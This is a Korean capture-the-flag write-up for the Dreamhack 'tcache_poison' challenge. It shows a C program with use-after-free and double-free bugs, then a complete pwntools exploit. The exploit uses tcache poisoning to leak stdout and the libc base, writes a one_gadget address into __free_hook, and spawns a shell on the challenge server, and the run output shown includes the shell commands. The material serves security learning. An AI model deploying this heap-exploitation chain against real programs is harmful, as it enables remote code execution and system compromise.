// Name: tcache_poison.c
// Compile: gcc -o tcache_poison tcache_poison.c -no-pie -Wl,-z,relro,-z,now
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
void *chunk = NULL;
unsigned int size;
int idx;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
printf("1. Allocate\n");
printf("2. Free\n");
printf("3. Print\n");
printf("4. Edit\n");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("Size: ");
scanf("%d", &size);
chunk = malloc(size);
printf("Content: ");
read(0, chunk, size - 1);
break;
case 2:
free(chunk);
break;
case 3:
printf("Content: %s", chunk);
break;
case 4:
printf("Edit chunk: ");
read(0, chunk, size - 1);
break;
default:
break;
}
}
return 0;
}
코드를 요약해보겠습니다.
main 함수의 4개의 기능
입력받은 크기로 청크를 할당 받은 후 chunk 변수에 해당 주소 저장. read 함수로 데이터 입력
chunk 변수의 값을 주소로 free
chunk 변수의 값을 포인터로 저장된 데이터 출력
chunk 변수의 값을 포인터로 저장된 데이터 변경
위 코드에서 찾을 수 있는 취약점은 free를 한 이후에 해당 청크를 초기화 하지 않기 때문에 UAF 취약점 및 free가 된 청크인지 인증하는 부분이 없기 때문에 DFB 취약점도 발생합니다.
Exploit
먼저 stdout leak 부터 해보겠습니다
from pwn import *
#p = process('./tcache_poison')
p = remote('host3.dreamhack.games', 13850)
e = ELF('./tcache_poison')
libc = ELF('./libc-2.27.so')
def alloc(size,data):
p.sendlineafter(b'Edit\n',b'1')
p.sendlineafter(b': ',size)
p.sendafter(b': ',data)
def free():
p.sendlineafter(b'Edit\n',b'2')
def edit(data):
p.sendlineafter(b'Edit\n',b'4')
p.sendlineafter(b': ',data)
def prin():
p.sendlineafter(b'Edit\n',b'3')
#make heap
alloc(b'16', b'a')
free()
#overwrite bk for double free
edit(b'aaaaaaaaa') # overwrite bk for tcache double free
free() # free 되면서 청크 fd, bk가 세팅됨
#overwrite fd for insert stdout address to tcache
leak = p64(e.symbols['stdout']) # fd를 stdout 으로 설정해서 print하면 stdout 실주소가 출력됨
edit(leak)
#tcache poisoning
alloc(b'16', b'a')
#alloc to stdout address
alloc(b'16', b'\x60') #stdout의 마지막 1byte는 \x60
prin()
p.recvuntil(b'Content: ')
stdout_add = u64(p.recv(6) + b'\x00\x00')
print('stdout_add =', hex(stdout_add))
❯ py ex.py
[+] Opening connection to host3.dreamhack.games on port 13850: Done
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/mnt/c/Users/usung/Documents/ctf/Dreamhack/Tcache_Poisoning/tcache_poison'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/mnt/c/Users/usung/Documents/ctf/Dreamhack/Tcache_Poisoning/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
stdout_add = 0x7f95e171d760
주의할 점
alloc 시 \n 문자가 없어야 값 삽입이 가능
마지막 alloc시 \x60 을 삽입 해야함
이제 free_hook 주소에 onegadget 주소를 입력해 free 함수를 실행하면 될 것 같습니다.
onegadget 주소는 아래와 같습니다
❯ one_gadget libc-2.27.so
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
이제 pwntools를 사용해서 각 주소를 구한 다음 작성한 최종 익스플로잇 코드는 아래와 같습니다.
from pwn import *
#p = process('./tcache_poison')
p = remote('host3.dreamhack.games', 13850)
e = ELF('./tcache_poison')
libc = ELF('./libc-2.27.so')
def alloc(size,data):
p.sendlineafter(b'Edit\n',b'1')
p.sendlineafter(b': ',size)
p.sendafter(b': ',data)
def free():
p.sendlineafter(b'Edit\n',b'2')
def edit(data):
p.sendlineafter(b'Edit\n',b'4')
p.sendlineafter(b': ',data)
def prin():
p.sendlineafter(b'Edit\n',b'3')
#make heap
alloc(b'16', b'a')
free()
#overwrite bk for double free
edit(b'aaaaaaaaa')
free() # free 되면서 청크 fd, bk가 세팅됨
#overwrite fd for insert stdout address to tcache
leak = p64(e.symbols['stdout']) # fd를 stdout 으로 설정해서 print하면 실제 주소가 출력됨
edit(leak)
#tcache poisoning
alloc(b'16', b'a')
#alloc to stdout address
alloc(b'16', b'\x60') #stdout의 마지막 1byte는 \x60
prin()
p.recvuntil(b'Content: ')
stdout_add = u64(p.recv(6) + b'\x00\x00')
print('stdout_add =', hex(stdout_add))
libc_base = stdout_add - libc.symbols['_IO_2_1_stdout_']
free_hook_add = libc_base + libc.symbols['__free_hook']
og_list = [0x10a41c, 0x4f432, 0x4f3d5]
onegadget = libc_base + og_list[1]
print('libc_base =', hex(libc_base))
print('free hook =', hex(free_hook_add))
print('one_gadget =', hex(onegadget))
alloc(b'32', b'a')
free()
edit(b'aaaaaaaaa')
free()
leak = p64(free_hook_add)
edit(leak)
alloc(b'32', b'a')
alloc(b'32', p64(onegadget))
free()
p.interactive()
주의할 점
- 두번째 double free 할 때는 사이즈를 이전과 같이 16을 요청하면 stdout 을 할당해주기 때문에 더 크게 해줘야 합니다.
❯ py ex.py
[+] Opening connection to host3.dreamhack.games on port 13850: Done
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/mnt/c/Users/usung/Documents/ctf/Dreamhack/Tcache_Poisoning/tcache_poison'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/mnt/c/Users/usung/Documents/ctf/Dreamhack/Tcache_Poisoning/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
stdout_add = 0x7f44f245a760
libc_base = 0x7f44f206e000
free hook = 0x7f44f245b8e8
one_gadget = 0x7f44f20bd432
[*] Switching to interactive mode
$ id
uid=1000(tcache_poison) gid=1000(tcache_poison) groups=1000(tcache_poison)
$ cat flag
DH{-------------------------------------------}